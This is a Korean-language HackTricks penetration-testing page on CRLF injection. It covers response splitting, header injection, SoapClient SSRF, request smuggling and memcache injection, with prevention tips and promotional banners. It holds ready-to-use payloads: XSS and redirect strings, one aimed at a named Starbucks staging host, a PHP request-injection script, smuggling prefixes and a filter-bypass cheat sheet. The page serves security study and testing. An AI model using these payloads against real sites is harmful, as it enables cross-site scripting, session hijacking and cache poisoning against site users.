# CRLF (%0D%0A) 삽입
htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti**에 **가입**하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 **최대 $100,000**의 바운티를 받으세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
복귀(CR) 및 줄 바꿈(LF)은 HTTP 프로토콜에서 사용되는 특수 문자 시퀀스로, 한 줄의 끝이나 새로운 줄의 시작을 나타냅니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에서 보편적으로 사용됩니다.
### CRLF 삽입 취약점
CRLF 삽입은 CR 및 LF 문자를 사용자가 제공한 입력에 삽입하는 것을 포함합니다. 이 작업은 서버, 응용 프로그램 또는 사용자를 속여 삽입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하게 합니다. 이러한 문자는 본질적으로 해로운 것은 아니지만, 오용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.
### 예: 로그 파일에서의 CRLF 삽입
[여기에서 예제 확인](https://www.invicti.com/blog/web-security/crlf-http-header/)
관리자 패널의 로그 파일을 고려해보세요. 형식은 다음과 같습니다: `IP - 시간 - 방문한 경로`. 일반적인 항목은 다음과 같을 수 있습니다:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
공격자는 CRLF 삽입을 이용하여 이 로그를 조작할 수 있습니다. HTTP 요청에 CRLF 문자를 삽입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 삽입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
여기서 `%0d`와 `%0a`는 CR과 LF의 URL 인코딩 된 형태를 나타냅니다. 공격 후 로그는 오도하게 표시됩니다:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
### HTTP 응닑 분할
#### 설명
HTTP 응닑 분할은 공격자가 HTTP 응답 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 헤더와 바디를 특정 문자 시퀀스로 구분하는데, 이는 캐리지 리턴(CR) 뒤에 라인 피드(LF)가 따르는 문자 시퀀스로, CRLF로 통칭됩니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하면, 이후의 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)로 이어질 수 있습니다.
#### HTTP 응답 분할을 통한 XSS
1. 애플리케이션은 다음과 같이 사용자 입력을 나타내는 사용자 정의 헤더를 설정합니다: `X-Custom-Header: UserInput`
2. 애플리케이션은 `UserInput`의 값을 쿼리 매개변수에서 가져옵니다. 적절한 입력 유효성 검사와 인코딩이 부족한 상황에서, 공격자는 CRLF 시퀀스를 포함한 악의적인 내용을 담은 페이로드를 작성할 수 있습니다.
3. 공격자는 특별히 설계된 'user_input'을 포함한 URL을 작성합니다: `?user_input=Value%0d%0a%0d%0a`
* 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩 형태입니다. 이는 서버가 CRLF 시퀀스를 삽입하도록 속이며, 이후 부분을 응답 바디로 처리하도록 만듭니다.
4. 서버는 공격자의 입력을 응답 헤더에 반영하여, 악의적인 스크립트가 브라우저에 의해 응답 바디의 일부로 해석되는 의도하지 않은 응답 구조로 이어집니다.
#### HTTP 응답 분할로 인한 리다이렉트 사례
[https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
브라우저로:
```
/%0d%0aLocation:%20http://myweb.com
```
서버는 다음과 같이 헤더를 응답합니다:
```
Location: http://myweb.com
```
**다른 예시: (출처** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL 경로에서
서버의 응답을 제어하기 위해 **URL 경로 안에 페이로드를** 보낼 수 있습니다 (예시는 [여기](https://hackerone.com/reports/192667)에서 확인할 수 있습니다):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
더 많은 예제를 확인하세요:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP 헤더 주입
HTTP 헤더 주입은 종종 CRLF (캐리지 리턴 및 줄 바꿈) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (크로스 사이트 스크립팅) 필터 또는 SOP (동일 출처 정책)와 같은 보안 메커니즘을 약화시킬 수 있으며, 이로 인해 CSRF 토큰과 같은 민감한 데이터에 대한 무단 액세스 또는 쿠키 심기를 통한 사용자 세션 조작이 발생할 수 있습니다.
#### HTTP 헤더 주입을 통한 CORS 취약점 악용
공격자는 HTTP 헤더를 삽입하여 CORS (교차 출처 리소스 공유)를 활성화시킬 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 취약점을 통해 악의적 출처의 스크립트가 다른 출처의 리소스와 상호 작용하여 보호된 데이터에 액세스할 수 있습니다.
#### CRLF를 통한 SSRF 및 HTTP 요청 주입
CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 삽입하는 데 사용될 수 있습니다. 이는 PHP의 `SoapClient` 클래스에서 발생하는 취약점의 주요 예시로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더 및 본문 내용을 삽입하거나 새로운 HTTP 요청을 완전히 삽입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예시입니다:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### 요청 스머글링을 위한 헤더 주입
이 기술과 잠재적인 문제에 대한 자세한 정보는 [**원본 소스를 확인하세요**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
**백엔드가 초기 요청에 응답한 후 연결을 유지하도록** 필수 헤더를 주입할 수 있습니다:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
**악용:**
1. **악의적인 접두사 주입**: 이 방법은 다음 사용자의 요청이나 웹 캐시를 독점하는 것을 포함합니다. 악의적인 접두사를 지정함으로써 이루어집니다. 예시:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1`
2. **응답 큐 독점을 위한 접두사 작성**: 이 방법은 접두사를 생성하여 후행 쓰레기와 결합할 때 완전한 두 번째 요청이 형성되는 것을 포함합니다. 이는 응답 큐 독점을 유발할 수 있습니다. 예시:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcache 주입
Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소**입니다. 자세한 정보는 다음에서 확인할 수 있습니다:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**전체 정보는** [**원본 설명서**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **를 참조하십시오.**
플랫폼이 **HTTP 요청에서 데이터를 가져와 살균하지 않고** **memcache** 서버로 **요청을 수행**하는 경우, 공격자는 이 동작을 악용하여 **새로운 memcache 명령을 주입**할 수 있습니다.
예를 들어, 원본에서 발견된 취약점에서 캐시 키가 사용되어 사용자가 연결해야 하는 IP 및 포트를 반환하고, 공격자는 **캐시를 독점하여 피해자의 세부 정보** (사용자 이름 및 비밀번호 포함)를 공격자 서버로 보내는 **memcache 명령을 주입**할 수 있었습니다.
또한, 연구자들은 memcache 응답을 비동기화하여 공격자가 모르는 사용자에게 공격자의 IP 및 포트를 보내는 것을 발견했습니다:
### 웹 애플리케이션에서 CRLF / HTTP 헤더 주입 방지 방법
웹 애플리케이션에서 CRLF (캐리지 리턴 및 줄 바꿈) 또는 HTTP 헤더 주입의 위험을 줄이기 위해 다음 전략을 권장합니다:
1. **응답 헤더에 직접 사용자 입력 피하기:** 가장 안전한 방법은 사용자가 제공한 입력을 직접 응답 헤더에 포함시키지 않는 것입니다.
2. **특수 문자 인코딩:** 직접 사용자 입력을 피하는 것이 불가능한 경우, 캐리지 리턴 (CR) 및 줄 바꿈 (LF)과 같은 특수 문자를 인코딩하는 데 전용 함수를 사용하십시오. 이러한 방법을 통해 CRLF 주입 가능성을 방지할 수 있습니다.
3. **프로그래밍 언어 업데이트:** 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 주입을 기본적으로 허용하지 않는 버전을 선택하십시오.
### 치트시트
[여기서 치트시트 확인](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 자동 도구
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## 브루트포스 탐지 목록
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## 참고 자료
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.